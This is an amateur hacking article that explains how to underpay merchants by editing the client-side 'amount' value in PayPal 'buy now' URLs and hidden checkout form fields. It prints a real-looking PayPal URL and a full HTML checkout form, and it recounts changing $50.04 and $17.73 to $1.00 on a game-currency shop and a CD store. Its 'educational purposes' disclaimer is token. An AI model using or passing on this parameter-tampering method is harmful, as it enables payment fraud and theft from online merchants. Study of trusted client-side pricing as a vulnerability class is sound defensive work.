Modifying Paypal Values on Lowlevel Web's
Modifying Paypal Values on Lowlevel Web's
Disclaimer:I take no responsibility for you or your actions from reading this. This is for educational purposes. This is illegal, so don't do it.
Among hacking and exploration I recently started playing a mmorpg game (World of Warcraft). The game uses virtual currency to allow players to buy new items. Chineese websites exist that sell the fake currency for USD.
After finding such a site I selected how much currency I wanted and was at the checkout paying with paypal when I looked the the source of the paypals "buy now" button
https://www.paypal.com/cgi-bin/webscr?on1=Character¤cy_code=USD&cmd=_xclick&business=xxxxxxx_xxx@yahoo.com&on0=Character(Orders_Num)&amount=50.04&item_name=Orders_Num%3A+ /1108643&os1=&x=28&y=21
Right in the source was variable amount with the value 50.04 That was the price for the currency amount I selected to buy. The variable item_name had my order number:1108643 which had all the details like
how much virtual currency I was getting, my players name, etc. I changed the variable amount from 50.04 to 1.00 then put the url in firefox and continued the transaction on paypal. I changed the price from $50 to $1 and paypal accepted everything without a problem.
I then checked my player in the game and I had recieved what I was supposed to pay $50 for. I had altered the price and got away with it. After having proof this worked I contacted the owner of the website and repayed them $49.
I decided to test my new discovery on another website. The website sold music cds, I added a cd to my cart and checked out. When the paypal button was displayed on the page I checked the source:
scripts begin here --> <form action="https://www.paypal.com/cgi-bin/webscr" method="post" id="form1" name="form1">
<input TYPE="hidden" NAME="cmd" VALUE="_ext-enter">
<input TYPE="hidden" NAME="redirect_cmd" VALUE="_xclick">
<input type="hidden" name="receiver_email" value="xxxxxxx@xxxxxxxxxxx.com">
<input type="hidden" name="business" value="xxxxxxx@xxxxxxxxxxx.com">
<input type="hidden" name="item_name" value="CD xxxxxxx Order Number 13413300">
<input type="hidden" name="item_number" value="13413300">
<input type="hidden" name="amount" value="$17.73">
<input TYPE="hidden" NAME="first_name" VALUE="John">
<input TYPE="hidden" NAME="last_name" VALUE="Doe>
<input TYPE="hidden" NAME="address1" VALUE="1234 w. millerstreet">
<input TYPE="hidden" NAME="address2" VALUE="">
<input TYPE="hidden" NAME="city" VALUE="millerville">
<input TYPE="hidden" NAME="email" VALUE="JohnDoe@microsoft.com">
<input TYPE="hidden" NAME="state" VALUE="MV">
<input TYPE="hidden" NAME="zip" VALUE="12345">
<input type="hidden" name="image_url" value="https://www.xxxxxxxxx.com/graphics/logos/cdu_150_50.gif">
<input type="hidden" name="return" value="http://www.xxxxxxxxx.com/checkout/orderinfo.asp?option=completedpaypal">
<input type="hidden" name="cancel_return"
value="http://www.xxxxxxxxx.com/checkout/orderinfo.asp?option=cancelledpaypal&o=13413300&c=10989249726714">
<input type="hidden" name="no_note" value="1">
<input type="hidden" name="currency_code" value="USD">
<input type="image"
src="https://www.xxxxxxxxx.com/graphics/paypal.gif" border="0"
name="submit" alt="Complete Your Order with a payments from PayPal -
it's fast, free and secure!" width="150" height="52">
</form> <-- scripts end here
I changed the amount value from $17.73 to $1.00 and sent the POST. I
was then at a paypal page saying: confirm order: xxxxxx price: $1.00
From there I knew it worked. Wether the person at the cd store would print the invoice and ship it OR contact FBI is beyond me.
I have now shown a simple method to modifying prices on items that are
sold with paypal. Please don't get arrested, I take no responsibility
for your actions. Hope you enjoyed my first article.
by focus


